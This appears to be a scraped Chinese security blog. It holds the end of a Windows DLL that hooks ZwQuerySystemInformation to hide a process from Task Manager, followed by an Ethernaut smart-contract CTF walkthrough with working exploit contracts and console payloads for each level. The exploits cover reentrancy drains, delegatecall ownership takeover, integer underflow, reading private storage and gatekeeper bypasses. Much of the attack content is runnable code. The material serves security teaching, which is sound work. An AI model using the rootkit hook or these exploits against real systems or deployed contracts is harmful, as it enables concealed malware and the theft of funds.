获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return status;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 调用原函数 ZwQuerySystemInformation    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);    if (NT_SUCCESS(status) && 5 == SystemInformationClass)   {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while (TRUE)       {            // 若为隐藏的进程PID则删除进程信息            if (HideProcessID == (DWORD)pCur->UniqueProcessId)           {                if (pCur->NextEntryOffset == 0)               {                    pPrev->NextEntryOffset = 0;               }                else               {                    pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;               }           }            else           {                pPrev = pCur;           }            if (pCur->NextEntryOffset == 0)           {                break;           }            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);       }   }    HookAPI();    return status; } BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ) {    switch (ul_reason_for_call)   {    case DLL_PROCESS_ATTACH:        HookAPI();        g_hModule = hModule;        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        UnHookAPI();        break;   }    return TRUE; } 实现效果 这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面 我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入 再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功
以太坊智能合约安全入门
Ethernaut记录 https://www.yijinglab.com/cour.do?w=1&c=CCIDf21b-1a56-42df-b444-57029ae03abcFallback 题目描述 Look carefully at the contract's code below. You will beat this level if you claim ownership of the contract you reduce its balance to 0 Things that might help How to send ether when interacting with an ABI How to send ether outside of the ABI Converting to and from wei/ether units (see help() command) Fallback methods 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback {  using SafeMath for uint256;  mapping(address => uint) public contributions;  address payable public owner;  constructor() public {    owner = msg.sender;    contributions[msg.sender] = 1000 * (1 ether); }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;   } }  function getContribution() public view returns (uint) {    return contributions[msg.sender]; }  function withdraw() public onlyOwner {    owner.transfer(address(this).balance); }  receive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender; } } 分析 题目的目标是成为这个合约的owner,并且将合约的balance清零。 在源代码中可以看到,成为合约的owner就代表着需要将合约中的owner赋值为我们的address,有三种方式: 1.调用contribute函数 2.调用receive函数 这里需要说明一下,constructor函数是合约的构造函数,是合约在初始化的时候建立的,而sender这个全局变量代表的是当前和合约交互的用户。所以说,contructor函数的sender不可能是除了创建者之外后续用户。 如要调用contribute函数,则需要向合约转账,转入的eth大于1000才可以成为onwer,而且每次只能转小于0.001eth,显然不可行。 那么如果调用receive函数,只需要转账大于0即可成为owner。那么这个receive函数怎么调用呢? 这个函数明显长得就和正常的函数不一样,没有function修饰。 这里的话首先解释一下什么是fallback https://me.tryblockchain.org/blockchain-solidity-fallback.html也就是说,直接向合约转账,使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。或者当调用函数找不到时就会调用fallback函数。 那么这个fallback和receive又有什么关系呢?在0.6以后的版本,fallback函数的写法就不是这么写了而是: fallback() external { } receive() payable external {   currentBalance = currentBalance + msg.value; } fallback 和 receive 不是普通函数,而是新的函数类型,有特别的含义,所以在它们前面加 function 这个关键字。加上 function 之后,它们就变成了一般的函数,只能按一般函数来去调用。 每个合约最多有一个不带任何参数不带 function 关键字的 fallback 和 receive 函数。 receive 函数类型必须是 payable 的,并且里面的语句只有在通过外部地址往合约里转账的时候执行。fallback 函数类型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合约发送非转账交易,如果交易里带有转账信息,交易会被 revert;如果是 payable 的,自然也就可以接受转账了。 尽管 fallback 可以是 payable 的,但并不建议这么做,声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。 也就是说,只要向合约转账,就会执行receive函数。具体来说,就是调用contract.sendTransaction({value : 1})。 所以说,要成为owner要经过以下两个步骤: 1.调用contribute使contribution大于0 2.向合约转账,调用receive,成为owner。 成为owner后,还需要将合约的balance清零,这里需要调用withdraw函数,也就是执行这一句: owner.transfer(address(this).balance); this指针指向的是合约本身,这句话的意思就是合约向owner的地址转帐合约所有的balance。 所以,最终的payload就是: contract.contribute({value: 1}) contract.sendTransaction({value: 1}) contract.withdraw() Fallout 题目描述 Level completed! Difficulty 2/10 Claim ownership of the contract below to complete this level. Things that might help Solidity Remix IDE 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout {    using SafeMath for uint256;  mapping (address => uint) allocations;  address payable public owner;  function Fal1out() public payable {    owner = msg.sender;    allocations[owner] = msg.value; }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function allocate() public payable {    allocations[msg.sender] = allocations[msg.sender].add(msg.value); }  function sendAllocation(address payable allocator) public {    require(allocations[allocator] > 0);    allocator.transfer(allocations[allocator]); }  function collectAllocations() public onlyOwner {    msg.sender.transfer(address(this).balance); }  function allocatorBalance(address allocator) public view returns (uint) {    return allocations[allocator]; } } 分析 提示是用ide看,问题就是他这个构造函数其实不是构造函数,Fal1out,直接调用即可。 过关后,会出现这样一段话: That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right? Well... Not quite. The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract: contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland. coin flip 题目 需要连续十次猜中硬币翻转结果,猜对了就可以过关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip {  using SafeMath for uint256;  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number.sub(1)));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue.div(FACTOR);    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } 分析 可以看到,每一次猜的值都要与blockhash/factor进行一个比对。这里,blocknumber指的是当前交易的区块编号,并不是合约所处的区块编号。由于一个块内交易数量很多,所以我们就可以通过布置一个合约,使其交易行为与验证的交易打包在一个块中,这样blockhash的值就可以提前算出来,重复十次即可过关 exp: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract CoinFlip {  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number-1));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue/FACTOR;    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } contract exploit {  CoinFlip expFlip;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor (address aimAddr) public {    expFlip = CoinFlip(aimAddr); }  function hack() public {    uint256 blockValue = uint256(blockhash(block.number-1));    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);    bool guess = coinFlip == 1 ? true : false;    expFlip.flip(guess); } } telephone 题目 需要成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } 分析 这里肯定是调用changeOwner,知识点就在于tx.origin和msg.sender之间的区别。 tx.origin (address):交易发送方(完整的调用链) msg.sender (address):消息的发送方(当前调用) 可以认为,origin为源ip地址,sender为上一跳地址。 所以思路就是部署一个合约A,我们调用这个合约A,而这个合约A调用题目合约,即可完成利用。 Exp: pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } contract exploit {    Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);    function hack() public{        target.changeOwner(msg.sender);   } } token 题目 The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token {  mapping(address => uint) balances;  uint public totalSupply;  constructor(uint _initialSupply) public {    balances[msg.sender] = totalSupply = _initialSupply; }  function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true; }  function balanceOf(address _owner) public view returns (uint balance) {    return balances[_owner]; } } 分析 uint整数溢出,不会小于0。 exp: pragma solidity ^0.6.0; interface IToken {    function transfer(address _to, uint256 _value) external returns (bool); } contract Token {    address levelInstance;    constructor(address _levelInstance) public {        levelInstance = _levelInstance;   }    function claim() public {        IToken(levelInstance).transfer(msg.sender, 999999999999999);   } } delegation 题目 成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate {  address public owner;  constructor(address _owner) public {    owner = _owner; }  function pwn() public {    owner = msg.sender; } } contract Delegation {  address public owner;  Delegate delegate;  constructor(address _delegateAddress) public {    delegate = Delegate(_delegateAddress);    owner = msg.sender; }  fallback() external {   (bool result,) = address(delegate).delegatecall(msg.data);    if (result) {      this;   } } } 分析 有两个合约,第一个delegate里面有个pwn函数,可以直接获得owner。第二个合约delegation实例化了delegate,并且定义了fallback函数,里面通过delegeatecall调用delegate合约中的函数。 我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:1、call 的外部调用上下文是外部合约2、delegatecall 的外部调用上下是调用合约上下文 也就是说,我们在delegation里通过delegatecall调用delegate中的pwn函数,pwn函数运行的上下文其实是delegation的环境。也就是说,此时执行pwn的话,owner其实是delegation的owner而不是delegate的owner。 抽象点理解,call就是正常的call,而delegatecall可以理解为inline函数调用。 在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个字节就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。 contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)}); force 题目 令合约的余额大于0即可通关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/*                   MEOW ?         /\_/\   /    ____/ o o \  /~____ =ø= / (______)__m_m) */} 分析 没有任何代码的合约怎么接受eth?这里的话以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点。 所以思路就是搞一个合约出来,然后自毁,强制给题目合约eth。 contract Force {    address payable levelInstance;    constructor (address payable _levelInstance) public {        levelInstance = _levelInstance;   }    function give() public payable {        selfdestruct(levelInstance);   } } vault 题目 使得locked == false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault {  bool public locked;  bytes32 private password;  constructor(bytes32 _password) public {    locked = true;    password = _password; }  function unlock(bytes32 _password) public {    if (password == _password) {      locked = false;   } } } 分析 主要就是猜密码,看起来密码被private保护,不能被访问到,但是其实区块链上所有东西都是透明的,只要我们知道它存储的地方,就能访问到查询到。 使用web3的storageat函数即可查询到特定位置的数据信息。 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); king 题目 合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King {  address payable king;  uint public prize;  address payable public owner;  constructor() public payable {    owner = msg.sender;      king = msg.sender;    prize = msg.value; }  receive() external payable {    require(msg.value >= prize || msg.sender == owner);    king.transfer(msg.value);    king = msg.sender;    prize = msg.value; }  function _king() public view returns (address payable) {    return king; } } 分析 主要看receive函数,逻辑是先转账然后再更新king和prize,所以说,如果我们使得程序断在接受上,即可使得king不被更新。 所以代码是这样: pragma solidity ^0.6.0; contract attack{    constructor(address _addr) public payable{        _addr.call{value : msg.value}("");   }    receive() external payable{        revert();   } } 接受函数逻辑就是直接revert,这样攻击合约只要发生了转账,就会中止执行,这样transfer就不会成功,king也就不会更新。 reentrancy 题目 盗取合约中所有余额 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance {    using SafeMath for uint256;  mapping(address => uint) public balances;  function donate(address _to) public payable {    balances[_to] = balances[_to].add(msg.value); }  function balanceOf(address _who) public view returns (uint balance) {    return balances[_who]; }  function withdraw(uint _amount) public {    if(balances[msg.sender] >= _amount) {     (bool result,) = msg.sender.call{value:_amount}("");      if(result) {        _amount;     }      balances[msg.sender] -= _amount;   } }  receive() external payable {} } 分析 这个题目是很著名的re-entrance攻击,也就是重入攻击。漏洞点在于withdraw函数。可以看到他是先调用了msg.sender.call{value:_amount}("");然后再在balance里面将存储的余额减去amount。这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,因为call的参数是空,所以会调用攻击合约的fallback函数,我们在fallback函数里面再次调用withdraw,这样套娃,就能将合约里面的钱都偷出来。 pragma solidity ^0.8.0; interface IReentrance {    function withdraw(uint256 _amount) external; } contract Reentrance {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function claim(uint256 _amount) public {        IReentrance(levelInstance).withdraw(_amount);   }    fallback() external payable {        IReentrance(levelInstance).withdraw(msg.value);   } } elevator 题目 另top==true 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Building {  function isLastFloor(uint) external returns (bool); } contract Elevator {  bool public top;  uint public floor;  function goTo(uint _floor) public {    Building building = Building(msg.sender);    if (! building.isLastFloor(_floor)) {      floor = _floor;      top = building.isLastFloor(floor);   } } } 分析 合约并没有实现building,需要我们自己定义。从程序的分析来看,top不可能为true。所以我们需要在实现building的时候搞点事情,也就是第一次搞成false,第二次调用搞成true就好。 pragma solidity ^0.8.0; interface IElevator {    function goTo(uint256 _floor) external; } contract Elevator {    address levelInstance;    bool side = true;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function isLastFloor(uint256) external returns (bool) {        side = !side;        return side;   }    function go() public {        IElevator(levelInstance).goTo(1);   } } privacy 题目 将locked成为false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Privacy {  bool public locked = true;  uint256 public ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;  constructor(bytes32[3] memory _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }  /*    A bunch of super advanced solidity algorithms...      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU  */ } 分析 和那个vault一样,只不过这次的data需要确定位置。 根据32bytes一格的标准,划分如下 //slot 0 bool public locked = true; //slot 1 uint256 public constant ID = block.timestamp; //slot 2 uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now);//2 字节 //slot 3-5 bytes32[3] private data; 所以最终的data[2]就在slot5 所以最终查询: web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);}) naughty coin 题目 NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 {  // string public constant name = 'NaughtCoin';  // string public constant symbol = '0x0';  // uint public constant decimals = 18;  uint public timeLock = now + 10 * 365 days;  uint256 public INITIAL_SUPPLY;  address public player;  constructor(address _player)  ERC20('NaughtCoin', '0x0')  public {    player = _player;    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));    // _totalSupply = INITIAL_SUPPLY;    // _balances[player] = INITIAL_SUPPLY;    _mint(player, INITIAL_SUPPLY);    emit Transfer(address(0), player, INITIAL_SUPPLY); }    function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {    super.transfer(_to, _value); }  // Prevent the initial owner from transferring tokens until the timelock has passed  modifier lockTokens() {    if (msg.sender == player) {      require(now > timeLock);      _;   } else {     _;   } } } 分析 代码重载了EC20类,但是没有完全重载完,所以说可以直接调用ec20里面的函数进行转账。 contract.approve(player,toWei("1000000")) contract.transferFrom(player,contract.address,toWei("1000000")) preservation 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Preservation {  // public library contracts  address public timeZone1Library;  address public timeZone2Library;  address public owner;  uint storedTime;  // Sets the function signature for delegatecall  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {    timeZone1Library = _timeZone1LibraryAddress;    timeZone2Library = _timeZone2LibraryAddress;    owner = msg.sender; }  // set the time for timezone 1  function setFirstTime(uint _timeStamp) public {    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }  // set the time for timezone 2  function setSecondTime(uint _timeStamp) public {    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract {  // stores a timestamp  uint storedTime;    function setTime(uint _time) public {    storedTime = _time; } } 分析 漏洞点还是在delegatecall上,由于不会改变上下文,所以说settime函数中,将storedtime赋值为time,如果delegatecall调用,其实是把slot1中的数据赋值为time。 所以说第一次setfirsttime将timezone1改掉,改成我们攻击合约地址,这样就可以调用魔改的settime函数。,然后就可以把owner改掉了。 攻击合约代码: pragma solidity ^0.8.0; contract Preservation {    address public timeZone1Library;    address public timeZone2Library;    address public owner;    function setTime(uint256 player) public {        owner = address(uint160(player));   } } 攻击流程: contract.setFirstTime(攻擊合約地址) contract.setFirstTime(player) recovery 题目 合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 目的是从丢失的合同地址中恢复(或移除)0.5ether。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Recovery {  //generate tokens  function generateToken(string memory _name, uint256 _initialSupply) public {    new SimpleToken(_name, msg.sender, _initialSupply);   } } contract SimpleToken {  using SafeMath for uint256;  // public variables  string public name;  mapping (address => uint) public balances;  // constructor  constructor(string memory _name, address _creator, uint256 _initialSupply) public {    name = _name;    balances[_creator] = _initialSupply; }  // collect ether in return for tokens  receive() external payable {    balances[msg.sender] = msg.value.mul(10); }  // allow transfers of tokens  function transfer(address _to, uint _amount) public {    require(balances[msg.sender] >= _amount);    balances[msg.sender] = balances[msg.sender].sub(_amount);    balances[_to] = _amount; }  // clean up after ourselves  function destroy(address payable _to) public {    selfdestruct(_to); } } 分析 主要的难点就是找不到合约的地址,不过所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask钱包里面查看交易就能获得合约的地址。找到合约地址后调用destroy函数就行。 pragma solidity ^0.8.0; interface ISimpleToken {    function destroy(address payable _to) external; } contract SimpleToken {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function withdraw() public {        ISimpleToken(levelInstance).destroy(payable(msg.sender));   } } Alien Codex 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable {  bool public contact;  bytes32[] public codex;  modifier contacted() {    assert(contact);    _; }    function make_contact() public {    contact = true; }  function record(bytes32 _content) contacted public { codex.push(_content); }  function retract() contacted public {    codex.length--; }  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; } } 分析 合约引入了ownable,这样合约中就多了个owner变量,这个变量经过查询是在slot 0中。 前十六个字节是contact 可以看到调用完makecontact就变成1了。 在这个合约里面,可以指定下标元素赋值,且没有检查。所以说我们只需要计算出codex数组和slot0的距离即可改变owner。 codex是一个32bytes的数组,在slot1中存储着他的长度。我们要计算出一个元素的下标,如果下标溢出,则会存储到slot0中。 在Solidity中动态数组内变量的存储位计算方法可以概括为: b[X] == SLOAD(keccak256(slot) + X),在这个合约中,开头的slot为1,也就是他的长度。(换句话说,数组中某个元素的slot = keccak(slot数组)+ index) 因此第一个元素位于slot keccak256(1) + 0,第二个元素位于slot keccak256(1) + 1,以此类推。 所以我们要计算的下标就是令2^256 = keccak256(slot) + index,即index = 2^256 - keccak256(slot) 攻击代码: pragma solidity ^0.8.0; interface IAlienCodex {    function revise(uint i, bytes32 _content) external; } contract AlienCodex {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;   }        function claim() public {        unchecked{            uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));            IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));       }   } } denial 题目 阻止其他人从合约中withdraw。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Denial {    using SafeMath for uint256;    address public partner; // withdrawal partner - pay the gas, split the withdraw    address payable public constant owner = address(0xA9E);    uint timeLastWithdrawn;    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances    function setWithdrawPartner(address _partner) public {        partner = _partner;   }    // withdraw 1% to recipient and 1% to owner    function withdraw() public {        uint amountToSend = address(this).balance.div(100);        // perform a call without checking return        // The recipient can revert, the owner will still get their share        partner.call{value:amountToSend}("");        owner.transfer(amountToSend);        // keep track of last withdrawal time        timeLastWithdrawn = now;        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);   }    // allow deposit of funds    receive() external payable {}    // convenience function    function contractBalance() public view returns (uint) {        return address(this).balance;   } } 分析 其实看到了call函数形式的转账就猜到差不多了,就是fallback函数的利用。在fallback函数中递归的调用wiithdraw函数,这样直到gas用光,就达到目的了。 pragma solidity ^0.8.0; interface IDenial {    function withdraw() external;    function setWithdrawPartner(address _partner) external; } contract Denial {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    fallback() external payable {        IDenial(levelInstance).withdraw();   }    function set() public {        IDenial(levelInstance).setWithdrawPartner(address(this));   } } gatekeeper1 题目 pass三个check 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract GatekeeperOne {  using SafeMath for uint256;  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _; }  modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 第一个check直接用合约交互即可。 第三个check实际上是个截断问题,也就是说0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff 主要的难点在于第二个check,需要设定执行到gatetwo时的gasleft % 8191 == 0。 达到这个有两个方式,第一种方式是把原本题目合约扒下来,放到debug测试网络,然后攻击合约与其交互,在debug中看下gasleft是多少然后调整算出需要的gasleft。但是不同编译器版本编译出的合约所耗费的gas并不相同,按照medium网站上说的方式到etherscan上查了下合约信息,由于没有上传源码并不能得到题目合约的 编译器版本,所以尽管我们在debug环境下算出了符合条件的gas,仍然不能保证会成功。 第二种方式就比较暴力,直接写一个for循环,每次的gas都从一个值递增1,这样一定会遇到一个符合条件的gas。 pragma solidity ^0.6.0; import  './SafeMath.sol'; interface IGatekeeperOne {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperOne {    address levelInstance;    constructor (address _levelInstance) public {        levelInstance = _levelInstance;   }    function open() public {        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;        for(uint i = 0; i < 8191 ;i++)       {            // IGatekeeperOne(levelInstance).enter{gas: 114928}(key);            levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));       }   } } magicnumber 题目 要求使用总长度不超过10的bytecode编写出一个合约,返回值为42. 代码 pragma solidity ^0.4.24; contract MagicNum {  address public solver;  constructor() public {}  function setSolver(address _solver) public {    solver = _solver; }  /*    ____________/\\\_______/\\\\\\\\\_____             __________/\\\\\_____/\\\///////\\\___            ________/\\\/\\\____\///______\//\\\__             ______/\\\/\/\\\______________/\\\/___            ____/\\\/__\/\\\___________/\\\//_____             __/\\\\\\\\\\\\\\\\_____/\\\//________            _\///////////\\\//____/\\\/___________             ___________\/\\\_____/\\\\\\\\\\\\\\\_            ___________\///_____\///////////////__  */ } 分析 主要参考这个链接,说的也比较详细:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 值得注意的一点是合约代码的长度是不会算构造函数以及构造合约的init函数的。 gatekeeper2 题目 过三个检查 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GatekeeperTwo {  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    uint x;    assembly { x := extcodesize(caller()) }    require(x == 0);    _; }  modifier gateThree(bytes8 _gateKey) {    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 这道题目需要在magicnumber之后做。 第一个check就是部署个合约即可。 第三个利用异或的性质,将key设置为addr ^ 0xffffffffffffff即可。 第二个check比较有意思,是利用了assembler,不过含义如字面意思。 caller()指的就是攻击合约,extcodesize(caller())指的就是攻击合约的代码长度,需要使得其长度为0。 这里在之前的magicnumber提到过,合约代码长度不会算进去构造函数的长度,所以将攻击函数直接写进构造函数即可。 pragma solidity ^0.8.0; interface IGatekeeperTwo {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwo {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;      unchecked{          bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );          IGatekeeperTwo(levelInstance).enter(key);     }   } } 由于新版本的solidity都会内置整数溢出检查,所以在攻击合约中uint64(0) - 1需要用uncheck修饰。
从一道CTF题到HTTP走私攻击
